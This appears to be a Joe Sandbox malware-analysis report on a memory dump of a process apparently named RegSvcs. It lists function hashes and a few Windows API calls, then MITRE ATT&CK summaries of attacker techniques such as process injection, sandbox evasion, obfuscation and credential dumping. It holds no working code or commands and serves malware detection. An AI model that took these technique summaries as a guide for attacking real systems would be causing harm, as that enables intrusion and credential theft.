Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86a2074b00e04dc7b850b2ec3c3c308fa2b439473906ddc9b3849ea1491a9af8
Instruction ID: 62b3322bbf7b3275c1d48c2b5dc5d8c4126ef63ee04c6e1df3d0a3071948ead2
Opcode Fuzzy Hash: 86a2074b00e04dc7b850b2ec3c3c308fa2b439473906ddc9b3849ea1491a9af8
Instruction Fuzzy Hash: 7712333AA19215CFD344CF68E8D026AB3E2FB8A315F0E84BEC98593361D735D851CB85

Function 004075F0 Relevance: .6, Instructions: 625COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 498b38226d149927242646e455dad2fe188806395e956318dfec649023252354
Instruction ID: eb5979ea8a6da1f4da151cf0b372db5bfa8560283cfaa0591c77721a8962883e
Opcode Fuzzy Hash: 498b38226d149927242646e455dad2fe188806395e956318dfec649023252354
Instruction Fuzzy Hash: 46229231A0C7118BD725DF18D9806ABB3E1BFC4319F19893ED986A7385D738B8518B4B

Function 004413C0 Relevance: .6, Instructions: 607COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3bbaac9a08f0af888c577097dfb5043357bd1c2b2d978a7a4eef91d36ae61b2
Instruction ID: c63c5de1158fe26ea098f5203b4724c8144c42eb413dd54cc96740bd1e76dd0e
Opcode Fuzzy Hash: a3bbaac9a08f0af888c577097dfb5043357bd1c2b2d978a7a4eef91d36ae61b2
Instruction Fuzzy Hash: 0C02013AA19211CFD744CF69E8D026AB3E2FBCA315F0E84BEC94593361D7359851CB85

Function 004413D9 Relevance: .6, Instructions: 598COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6e52075dc4eb7324e790005a40ba8a85298239228d76690f7b5d6d596ea5599
Instruction ID: f8c91cab1110fd396ac5906ab11d171be5dc0b54383014364ff63dd626a6dee8
Opcode Fuzzy Hash: b6e52075dc4eb7324e790005a40ba8a85298239228d76690f7b5d6d596ea5599
Instruction Fuzzy Hash: 3902023AA19211CFD344CF69E8D026AB3E2FBCA315F1E84BEC94593361D7359851CB85

Function 004413D7 Relevance: .6, Instructions: 597COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ffa534ad8b940cc2844a7d7ccf34365b4447b15f87e3a7ddba1458b7d3c2b80f
Instruction ID: 531b97af5d5d1195029069a629f64b316ac07a8eee3f313c9b3f94386e1f818a
Opcode Fuzzy Hash: ffa534ad8b940cc2844a7d7ccf34365b4447b15f87e3a7ddba1458b7d3c2b80f
Instruction Fuzzy Hash: CB02123AA19211CFD344CF69E8D026AB3E2FBCA315F1E84BEC94593361D7359852CB85

Function 004414C0 Relevance: .5, Instructions: 529COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebee816302b67cf92673de760ab4081bd9cc29308ce015345c2827ac3cbaf5db
Instruction ID: aabde88e38feca61f641d6a10280b76e9ff7d1afebe6f9730e3a4a29ba7b4e00
Opcode Fuzzy Hash: ebee816302b67cf92673de760ab4081bd9cc29308ce015345c2827ac3cbaf5db
Instruction Fuzzy Hash: 00F1113AA05215CFD744CF69E8E026AB3E2FB8A314F0E84BED94593361D734E951CB84

Function 00441560 Relevance: .5, Instructions: 481COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1d79b1864b16faccb2a51a418b04fb75abf9fe443ae4a84f275528856371a3c
Instruction ID: 1a0e16b40de3559a1275c81b5a1bc6c7fbfd5e278547d194ff46644d55a6738f
Opcode Fuzzy Hash: a1d79b1864b16faccb2a51a418b04fb75abf9fe443ae4a84f275528856371a3c
Instruction Fuzzy Hash: 37E1113AA09211CFD744CF69E8A166AB7E2FBCA314F0E84BED58593361D7349801CB95

Function 004415F0 Relevance: .5, Instructions: 478COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9876c15cb76decb0a99db45760057892f3e14ee88b8d238bf4c06b39bf0a259a
Instruction ID: 19e27db1c2ba9043135181e7a7e75dc30f950940a0d2a863ad67e97ea4b73182
Opcode Fuzzy Hash: 9876c15cb76decb0a99db45760057892f3e14ee88b8d238bf4c06b39bf0a259a
Instruction Fuzzy Hash: 98E1223AA09215CFD708CF29D8A166AB7E2FFCA315F0E84BED48593351D7349842CB95

Function 00421A80 Relevance: .5, Instructions: 453COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfe141585ef6bb4fd5d1900630b709b8ffedb707c9face4b923ee56d76cc22fc
Instruction ID: 2f82df5762e349e4b7c21d0cd249c67d1745d7968b9a44aab63a65c3763efa9b
Opcode Fuzzy Hash: cfe141585ef6bb4fd5d1900630b709b8ffedb707c9face4b923ee56d76cc22fc
Instruction Fuzzy Hash: D3B15971B143209BD720DF24E88267B73E1EFE1354F99452EE885973A1E638AD05C356

Function 00429CB7 Relevance: .4, Instructions: 374COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 703a5fce5a858795dea51b4aa39a7f74087463a9e4d65d171bdb9c65ccfe68e5
Instruction ID: c3b8a3ce4400bdfd2b8ceaaeb6d12f3be7039b02908a06be68da446465fd2ea3
Opcode Fuzzy Hash: 703a5fce5a858795dea51b4aa39a7f74087463a9e4d65d171bdb9c65ccfe68e5
Instruction Fuzzy Hash: 05C126B59087108FC7109F28D89166BB7F1EF86304F48496EF5D287391E7399915CB46

Function 00442320 Relevance: .3, Instructions: 279COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a2bdf41f31732e4c6f134e22984b10fccd43771190b3506c22559857a532f66
Instruction ID: acf7d6eb1fd0beffcc208e149d5af4f14f298931f4f6355473ea98819c0069f7
Opcode Fuzzy Hash: 1a2bdf41f31732e4c6f134e22984b10fccd43771190b3506c22559857a532f66
Instruction Fuzzy Hash: 6F81FF35604311ABD728DF19D9A0A2BB3B2FFD9310F59852DE8864B3A0DB74EC01CB49

Function 0041A0E0 Relevance: .2, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed103d9790a9fb5ddc273fc5ed999194a7eb80532fdb02146527aa4ca58315a6
Instruction ID: fcc4ef8906273e26e2b73612c0272a0eebc0e55913028a914e4f141ce94aca3e
Opcode Fuzzy Hash: ed103d9790a9fb5ddc273fc5ed999194a7eb80532fdb02146527aa4ca58315a6
Instruction Fuzzy Hash: 5A51F3701083418BC714CF24C8A16ABBBF1EFD7328F185A5DE4D59B3A2E3388945CB5A

Function 0043C480 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 14859b2b9f13445d7ed77bb32f2f3a4b3d5a603a55826ee409fb3effb04843dc
Instruction ID: 89edec5272deaaf5f630e04954ad2d7323f258436b11c01fc1b43be50c2e0e10
Opcode Fuzzy Hash: 14859b2b9f13445d7ed77bb32f2f3a4b3d5a603a55826ee409fb3effb04843dc
Instruction Fuzzy Hash: E1315BB5A043147BE7106B25DD81B3BB7E4DF8A718F10682DF88673251E335ED05875A

Function 00441940 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3fbc8bc4b44a427c4cba67ead08473481864dcf3b2e6af6cf0356a065fd6d9f4
Instruction ID: f998f188ce71fc941133ba929fd4c797c73404c3ebd75e23227982fd4a5faee5
Opcode Fuzzy Hash: 3fbc8bc4b44a427c4cba67ead08473481864dcf3b2e6af6cf0356a065fd6d9f4
Instruction Fuzzy Hash: 7F210577B586100BE7288E69D89127AF6C297C5314F0D973D888AE7345D9298C068285

Function 0043B210 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5189f7f754b6fb91a9a9405773335c7fbea09dec44e8bb6762b09cd96be8ce1
Instruction ID: 05196f0017333310b2261876cf81697d3c008b21ce9c304080e7406656f5b35a
Opcode Fuzzy Hash: b5189f7f754b6fb91a9a9405773335c7fbea09dec44e8bb6762b09cd96be8ce1
Instruction Fuzzy Hash: E4215E21744114478B2C9E5988A617FF3E5DBDE724F0992BFDD82CB281E634DC4483E5

Function 0043E7C0 Relevance: .1, Instructions: 98COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f818b8447f15f1ee407da1b9d753d58744505a89c7b67eb43bb65d4b645e8166
Instruction ID: 445db1ca4e47d81e57dfafbff903e259d380a6b483c30bb8ae78e0290a368d1d
Opcode Fuzzy Hash: f818b8447f15f1ee407da1b9d753d58744505a89c7b67eb43bb65d4b645e8166
Instruction Fuzzy Hash: DB21E431E052008BD314EF1AC885767B7E1EFDA720F18992EE4988B3D1D33D8C869B95

Function 0043CF68 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a83fc4a88d21c90a6c6269c88aa4a454e51d69233c48f7687c9df48d6135aa9a
Instruction ID: 1acfdcd2ad91985df4ff94691e1bc62aa99ccb40793d71524eb8d180ff9fb813
Opcode Fuzzy Hash: a83fc4a88d21c90a6c6269c88aa4a454e51d69233c48f7687c9df48d6135aa9a
Instruction Fuzzy Hash: FE215B3B92D320CAE7005F28D8503A6B7E1EF8A314F0A547AC984873C5D7B9C545C3AA

Function 00438600 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: bd610c7c2afde0dcf7e03cb09b95065097d2fc251fbd730a37f084e719301918
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 0D11A933A056D40EC3168D3C8401565FFA30AA7635F6D939EF4B89B2D2DA278D8A8359

Function 0042B3D0 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 174d1cacc6f3bb9383e3a25fe060ee39e1b2ec2a632fd3250ee70535c7d4f271
Instruction ID: 99fa19e3527875d1d1dabbabd89d5df7efb7d9b9a3e90f7e6d034292f7b43a4a
Opcode Fuzzy Hash: 174d1cacc6f3bb9383e3a25fe060ee39e1b2ec2a632fd3250ee70535c7d4f271
Instruction Fuzzy Hash: DE019EB170071997D720AE11B4C1B2BA3A8AF8470CF5C443EE8449B343DB79EC0AC6D9

Function 0040A416 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adf3447fb43ab27f48027b3b6a76690fb6f6166c529701092d72560a22d25166
Instruction ID: 6fa01f9a0911098674b7d2d3d6a15f0c3bfef27f76f8a701a24a159e9650d2cb
Opcode Fuzzy Hash: adf3447fb43ab27f48027b3b6a76690fb6f6166c529701092d72560a22d25166
Instruction Fuzzy Hash: F11159796617418FD734CF349454177FBF1AF96200B28856DC0C35B784D778A85A8F8A

Function 0042E815 Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad29bda9b56c2bdb66dd60eb51d47c500f571fe48f64c7f6549833896b1aac87
Instruction ID: 37caf380a8a6f6e8e4e12164a9323a73680ed764f54332d60ed685ad2c97f53e
Opcode Fuzzy Hash: ad29bda9b56c2bdb66dd60eb51d47c500f571fe48f64c7f6549833896b1aac87
Instruction Fuzzy Hash: 510145B1A482928BE315CF3A8820167BBE1EFD7314F284A5DC4C1132A4D734990B8B4A

Function 0043FDE4 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f5541cda0806d0a244862385973e0e7b72d9463d2c4fb8e568f0ab9e85ae9bd
Instruction ID: 3826a2f4d34661e7b8ed0faf4efcefe4cecdc48fd0d3057ecb0392de341d489e
Opcode Fuzzy Hash: 9f5541cda0806d0a244862385973e0e7b72d9463d2c4fb8e568f0ab9e85ae9bd
Instruction Fuzzy Hash: 07018C35A092404FD3A8CF3598D212BB7E2EB96709F59A83DD4C293722D675C8038F49

Function 0043EAD0 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 06298510a6b8b311c949050cfea925265fa2d209eec18fecaf338ef547c90fc4
Instruction ID: 734103ef498f6d2f6035920d46ea6d367fcb550bcebe0eaacffd4b72fbe1d5de
Opcode Fuzzy Hash: 06298510a6b8b311c949050cfea925265fa2d209eec18fecaf338ef547c90fc4
Instruction Fuzzy Hash: DDF0F93560230C6BC1129B07DC85D37B3AEF78EB28F141729F515122E1E322FD1187A9

Function 0042E961 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1605d0f2c2555b108b4dfd5660b877a0c3c861da1640c56d3df244d8ec661a85
Instruction ID: b876baa43a5ea7a567138825b7739408d186243299e95ed26cd5b31216e07757
Opcode Fuzzy Hash: 1605d0f2c2555b108b4dfd5660b877a0c3c861da1640c56d3df244d8ec661a85
Instruction Fuzzy Hash: 5DF0E9B6A846A28BD301CF3AD460372B7F19F97300F1D185ED4C117390D734684ADB45

Function 0041E750 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction ID: c1ca0629f8cf8b0d053372cb86c4ddd525aa18f626ecc2807fb52cabf95be064
Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: D4D097349083A00E67188D3800A04B7FBF8E947612F18148FE8E1E3244C228DC01439C

Function 0040BF73 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec5ba2d4d41163eb9e6bb4d8e879822de04ac4a49255b6e4eabaae28b55b4ff7
Instruction ID: a6c7f8dd5cc435003ff5f9308aae27ad3397a5284e05f1bbf1f4cf535cc14d1e
Opcode Fuzzy Hash: ec5ba2d4d41163eb9e6bb4d8e879822de04ac4a49255b6e4eabaae28b55b4ff7
Instruction Fuzzy Hash: 09D05EABE621001B96099B11EC53779712286D7208B4CB438D90182346FB2CE106841A

Function 0042DEAE Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 151libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(CA4CF447,00000000,00000800), ref: 0042E044

Strings

*, xrefs: 0042DEF4
M^z, xrefs: 0042DF45
M^z, xrefs: 0042DEFE

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: LibraryLoad
String ID: *$M^z$M^z
API String ID: 1029625771-1694413495
Opcode ID: 296bc1e778d282a56ff129724f18974ba76126007a0c58df87a054d441982d11
Instruction ID: c3a321ed1c1e6dea5d0d0cc0a19081a04f89982c188b5c9145a64382f9347cb4
Opcode Fuzzy Hash: 296bc1e778d282a56ff129724f18974ba76126007a0c58df87a054d441982d11
Instruction Fuzzy Hash: 9B413672A5C7908AD7398F34D8813E7BBE2ABD6304F49866DC4D88B395CB7C44068796

Function 0042DEAC Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 126libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(CA4CF447,00000000,00000800), ref: 0042E044

Strings

*, xrefs: 0042DEF4
M^z, xrefs: 0042DF45
M^z, xrefs: 0042DEFE

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: LibraryLoad
String ID: *$M^z$M^z
API String ID: 1029625771-1694413495
Opcode ID: 3967bb3e94403ce82a075191e906a99e8253534b350ef48352ef493b3245fb97
Instruction ID: c83dcb8ea6467d8a27969621bf7304ff981d4a27aa5c352e7417a242782cea7f
Opcode Fuzzy Hash: 3967bb3e94403ce82a075191e906a99e8253534b350ef48352ef493b3245fb97
Instruction Fuzzy Hash: B4412572A5C7908AD3388F34DD853D7BAA2ABD9304F498A6DC4DC8B395CB3C44068786

Function 004288D6 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 00428BED
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 00428D1D

Strings

G-A, xrefs: 00428C70

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: G-A
API String ID: 237503144-2138812890
Opcode ID: aaec1eb5ce232b40fcfb5e1d3827f736acd698aea67f82b3ebd54ef8f883d234
Instruction ID: c1c5549c8845c24fda813494c89da3ea3ee7197efa3d604dfae6a6144302c7fd
Opcode Fuzzy Hash: aaec1eb5ce232b40fcfb5e1d3827f736acd698aea67f82b3ebd54ef8f883d234
Instruction Fuzzy Hash: E65166B810D3949BE354DF25D88075FBBE1FBD6700F04892CE6956B781C7B588028B8B

Function 00436ABA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 90COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00436AEE
GetSystemMetrics.USER32 ref: 00436AFD

Strings

, xrefs: 00436BAB

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: f3f380718c7dc2b40a1ba8864b47347a1ff10d068b082ec6d531b53ad2f9b129
Instruction ID: dab4e135cf8f85a5715b0ab33c188f21f60693ba5c6c25c5b6c62133a61191db
Opcode Fuzzy Hash: f3f380718c7dc2b40a1ba8864b47347a1ff10d068b082ec6d531b53ad2f9b129
Instruction Fuzzy Hash: 7231B2B49143149FDB00EF68D98464EBFF4BB89304F02856EE888DB360D774A948CF96

Function 0040B670 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00408AA0), ref: 0040B676
FreeLibrary.KERNEL32 ref: 0040B697

Strings

Mw, xrefs: 0040B676, 0040B697

Memory Dump Source

Source File: 0000000A.00000002.1441248201.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_RegSvcs.jbxd

Similarity

API ID: FreeLibrary
String ID: Mw
API String ID: 3664257935-2910736759
Opcode ID: 6ea8de8f2246888cee862ffbd9dca0d1248c9e5ade27dd994aab7a8fcbc90c2a
Instruction ID: 6324e4a7e69e4386d62579ddba2e326e33637361d0d76bce3af04fa1da82e873
Opcode Fuzzy Hash: 6ea8de8f2246888cee862ffbd9dca0d1248c9e5ade27dd994aab7a8fcbc90c2a
Instruction Fuzzy Hash: 4BC00239412020BBDE816FA8FC8A91C3B22FB9230532D5034E50281036EA326960AA5D

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
